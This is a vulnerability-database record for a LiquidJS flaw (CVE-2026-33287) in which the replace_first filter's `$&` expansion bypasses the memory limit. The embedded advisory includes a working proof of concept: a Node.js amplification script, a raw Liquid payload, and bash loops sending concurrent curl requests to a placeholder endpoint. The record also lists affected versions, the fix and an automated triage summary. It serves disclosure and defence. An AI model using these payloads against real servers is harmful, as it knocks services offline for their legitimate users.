{"id":"CVE-2026-33287","kind":"vulnerability","aliases":["CVE-2026-33287","GHSA-6q5m-63h6-5x4v"],"related":[],"title":"LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern","description":"### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 — VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)  // Only charges input\n  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Verify $& expansion in replace_first\n  console.log('=== Step 1: $& expansion in replace_first ===');\n  const step1 = '{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step1));\n  // Output: \"HELLO-HELLO-HELLO\" — $& expanded to matched string\n\n  // Step 2 — Verify replace (split/join) is safe\n  console.log('\\n=== Step 2: replace is safe ===');\n  const step2 = '{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}';\n  console.log('Result:', await engine.parseAndRender(step2));\n  // Output: \"$&$&$&\" — $& treated as literal\n\n  // Step 3 — 5-stage exponential amplification (50x per stage)\n  console.log('\\n=== Step 3: Exponential amplification (625,000:1) ===');\n  const amp50 = '$&'.repeat(50);\n  const step3 = [\n    '{% assign s = \"A\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{% assign s = s | replace_first: s, \"' + amp50 + '\" %}',\n    '{{ s | size }}'\n  ].join('');\n\n  const startMem = process.memoryUsage().heapUsed;\n  const result = await engine.parseAndRender(step3);\n  const endMem = process.memoryUsage().heapUsed;\n\n  console.log('Output string size:', result.trim(), 'bytes');  // \"312500000\"\n  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');\n  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');\n  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $& expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $&$&$&\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input → 312.5 MB output)\nmemoryLimit charged: < 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{% assign s = s | replace_first: s, \"$&$&$&...(50 times)...$&\" %}\n{{ s }}\n```\n\n> `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR='$&'\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n  (\n    t1=$(date +%s%3N)\n    curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/newsletter/preview\" \\\n      -H \"Content-Type: application/x-www-form-urlencoded\" \\\n      --data-urlencode \"template=$PAYLOAD\"\n    t2=$(date +%s%3N)\n    echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n  ) &\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 3\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) &\n\n(\n  sleep 6\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://<app>/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=<h1>Hello</h1>\"\n  t2=$(date +%s%3N)\n  echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) &\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay\nNormal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay\nNormal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay\nDoS[1]:      14729ms\nDoS[2-20]:   17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $& expansion — should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$&-$&-$&\\\" }}\"}'\n\n# replace is safe — should return literal \"$&$&$&\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$&$&$&\\\" }}\"}'\n\n# 5-stage 50x amplification — produces ~312.5MB response\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{% assign s = s | replace_first: s, \\\"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\\\" %}{{ s | size }}\"}'\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null --max-time 120 -X POST \"http://<app>/render\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode 'template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s }}' &\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://<app>/render\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'template=<h1>Hello</h1>' &\n\nwait\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$&` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n  | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n  |---------------------------|------------------------|-------------|---------------|\n  | 10 | 3.2s | **640x** | ~11s |\n  | 20 | **10.9s** | **2,180x** | ~29s |\n\n  With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.","summary":"LiquidJS's replace_first filter passes the replacement string to JavaScript's native replace(), so a $& pattern expands the output far beyond the memory limit the engine counts. An attacker who can submit a template can chain stages to allocate hundreds of megabytes per request and stall the server.","severity":"high","cvss":7.5,"epss":0.00479,"exploited":false,"exploited_at":null,"products":[{"name":"liquidjs","fixed":["10.25.1"],"affected":"< 10.25.1","ecosystem":"npm"},{"name":"liquidjs","fixed":["10.25.1"],"affected":"< 10.25.1","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cms","cwe-20","cwe-400","liquidjs","newsletter","node","package","saas"],"not_affected_if":["fixed-templates-only","no-replace-first-usage","upgraded-to-10.25.1"],"how_to_check":"- Check the installed version with `npm ls liquidjs`.\n- Search the project for `replace_first` in code that renders user-supplied Liquid templates.\n- Confirm whether the rendering endpoint accepts templates from users (CMS, newsletter editor, SaaS).","fix":"- Upgrade `liquidjs` to `10.25.1` or later (affected below `10.25.1`).","status":"open","published_at":"2026-03-25T17:44:23+00:00","first_seen_at":"2026-10-29T17:30:17+00:00","triaged_at":"2026-10-29T17:31:58+00:00","updated_at":"2026-10-29T17:56:17+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-29T17:31:58Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `liquidjs` to `10.25.1` or later (affected below `10.25.1`).","reach":"unknown","title":"LiquidJS: replace_first filter lets templates exhaust server memory","impact":"medium","summary":"LiquidJS's replace_first filter passes the replacement string to JavaScript's native replace(), so a $& pattern expands the output far beyond the memory limit the engine counts. An attacker who can submit a template can chain stages to allocate hundreds of megabytes per request and stall the server.","audience":"developers","category":"package","nicknames":[],"who_cares":["node","liquidjs","cms","newsletter","saas"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Server memory exhausted and event loop stalled, denying service to other users.","analyst_note":"","how_to_check":"- Check the installed version with `npm ls liquidjs`.\n- Search the project for `replace_first` in code that renders user-supplied Liquid templates.\n- Confirm whether the rendering endpoint accepts templates from users (CMS, newsletter editor, SaaS).","plain_action":"","needs_analyst":false,"not_affected_if":["fixed-templates-only","no-replace-first-usage","upgraded-to-10.25.1"],"who_is_affected":"Applications that pass user-written Liquid templates to LiquidJS and render them with the replace_first filter are exposed. Applications that only render their own fixed templates, or that never use replace_first, are not exposed to this flaw. The sources say the flaw is a denial-of-service through memory use, not code execution.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"high"},"cost_usd":0.001311,"input_tokens":10116,"output_tokens":599,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-129':404C '-133':149C,374C '-20':27B '-2026':13A,21A '-33287':14A,22A '-400':29B '000':128C,322C,556C '1':129C,276C,277C,282C,323C,479C,487C,557C '10.24.0':438C '100mb':476C '125':298C,303C,403C '128':308C '130':148C,373C '1e8':475C '1mb':218C,242C '2':284C,288C,294C,513C,522C '2.6':300C '3':293C,541C,552C '312.5':314C,324C '4':302C '5':310C,542C '50':232C,279C,280C,285C,287C,297C,305C,313C,561C '500':289C,295C '50mb':245C '50x':546C '51':291C '5x4v':19A '6.25':306C,311C '6.38':316C,328C '625':127C,321C,555C '63h6':18A '6q5m':17A 'abcd':528C,530C 'account':187C 'achiev':121C,266C 'across':259C 'affect':370C 'alloc':74B 'also':364C 'amp50':559C,573C 'amplif':5A,124C,264C,319C,545C,554C 'amplifi':116C 'applic':440C 'arg1':382C,398C,413C,426C 'arg2':384C,399C,415C,428C 'assign':262C,564C,567C 'async':469C 'attack':64B,119C,214C 'await':500C,533C 'backrefer':99C 'beyond':56B 'budget':135C,222C 'build':216C 'byte':278C,281C,283C,286C,290C,292C,296C 'call':183C 'chain':71B,256C 'charg':107C,208C,250C,275C,330C,393C 'cms':25B,448C 'comparison':407C 'console.log':485C,498C,519C,531C,549C 'const':386C,417C,465C,470C,492C,526C,558C,562C 'contain':231C 'cost':194C 'count':62B 'counter':254C 'cumul':273C 'cve':12A,20A 'cwe':26B,28B 'deleg':150C 'denial':138C 'detail':141C 'due':203C 'editor':450C 'engin':61B,471C 'engine.parseandrender':501C,534C 'etc':453C 'expand':52B,236C,508C 'expans':205C,400C,481C,488C 'exponenti':3A,122C,263C,544C,553C 'export':376C,408C 'factor':320C 'far':55B 'filter':10A,39B,88C,105C,145C,182C,337C,357C 'first':9A,38B,87C,144C,226C,368C,379C,484C,491C,496C,571C 'follow':456C 'full':239C 'function':377C,409C 'ghsa':16A 'ghsa-6q5m-63h6-5x4v':15A 'hello':494C,497C,505C,506C,507C 'hello-hello-hello':504C 'hundr':75B 'includ':163C 'input':111C,190C,268C,394C 'insert':164C,168C,175C 'instal':436C 'interpret':96C,159C 'javascript':45B,92C,152C,464C 'join':341C,427C 'kb':299C,301C,304C,309C 'larger':202C 'last':356C 'lead':136C 'length':113C 'limit':59B,212C,477C 'liquid':446C,466C,473C 'liquidj':1A,30B,35B,90C,437C,468C 'liquidjs':23A,24A 'liter':347C,432C,539C 'mani':200C 'manual':359C 'match':102C,166C,173C,180C,240C,510C 'mb':307C,312C,315C,317C,325C,329C 'megabyt':77B 'memori':4A,58B,123C,193C,211C,253C 'memorylimit':108C,134C,221C,274C,332C,474C 'memorylimit.use':184C 'method':158C 'multipl':260C 'n':520C,550C 'nativ':47B,154C,157C 'never':207C 'new':472C 'newslett':31B,449C 'node':32B,462C 'notabl':333C 'npm':435C 'oper':361C 'output':54B,117C,197C,246C,271C,326C,503C,536C 'packag':33B 'pass':40B 'pattern':11A,51B,162C,340C 'per':78B,547C 'platform':452C 'poc':433C 'poc_replace_first_amplification.js':458C,463C 'portion':170C,177C 'potenti':199C 'prerequisit':434C 'produc':243C 'provid':445C 'render':442C 'repeat':560C 'repetit':233C,270C 'replac':8A,37B,42B,48B,86C,143C,161C,225C,229C,336C,342C,355C,367C,378C,410C,483C,490C,495C,515C,523C,529C,570C 'request':79B 'requir':467C 'result':499C,532C 'return':395C,423C 'run':460C 'saa':34B,451C 'safe':365C,405C,518C,525C 'save':454C 'server':83B 'servic':140C 'sibl':335C 'size':269C,272C 'special':160C 'split/join':429C,516C 'src/builtin/filters/string.ts':147C,372C,402C 'stage':72B,267C,543C,548C 'stall':81B 'stay':131C 'step':478C,486C,512C,521C,540C,551C 'step1':493C,502C 'step2':527C,535C 'step3':563C 'str':387C,418C 'str.length':185C,391C,422C 'str.replace':396C 'str.split':339C,424C 'string':43B,112C,191C,198C,219C,230C,241C,348C,381C,383C,385C,412C,414C,416C,511C 'string.prototype.replace':94C,155C 'stringifi':388C,397C,419C,425C 'submit':67B 'substr':103C,167C,360C 'summari':84C 'techniqu':258C 'templat':69B,447C 'therefor':351C 'this.context.memorylimit.use':390C,421C 'time':201C 'total':318C 'treat':344C,430C,537C 'typescript':371C 'uncharg':401C 'use':91C,224C,338C,358C 'user':444C 'user-provid':443C 'v':380C,389C,411C,420C 'variabl':261C 'verifi':480C,514C 'vs':327C 'vulner':353C,375C 'within':132C,220C","nicknames":[],"mitigations":[],"who_affected":"Applications that pass user-written Liquid templates to LiquidJS and render them with the replace_first filter are exposed. Applications that only render their own fixed templates, or that never use replace_first, are not exposed to this flaw. The sources say the flaw is a denial-of-service through memory use, not code execution.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"first_public_at":"2026-03-25T17:44:23+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6q5m-63h6-5x4v","url":"https://github.com/advisories/GHSA-6q5m-63h6-5x4v","severity":"high","published_at":"2026-03-25T17:44:23+00:00","modified_at":"2026-10-29T17:28:59+00:00","first_seen_at":"2026-10-29T17:30:17+00:00","fetched_at":"2026-10-29T19:27:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-33287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33287","severity":null,"published_at":"2026-03-26T01:16:27+00:00","modified_at":"2026-06-17T10:37:15+00:00","first_seen_at":"2026-10-29T17:56:17+00:00","fetched_at":"2026-10-29T17:56:17+00:00","note":null}],"documents":[{"id":18245,"url":"https://api.github.com/repos/harttle/liquidjs/security-advisories/GHSA-6q5m-63h6-5x4v","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":18246,"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":18247,"url":"https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":18248,"url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}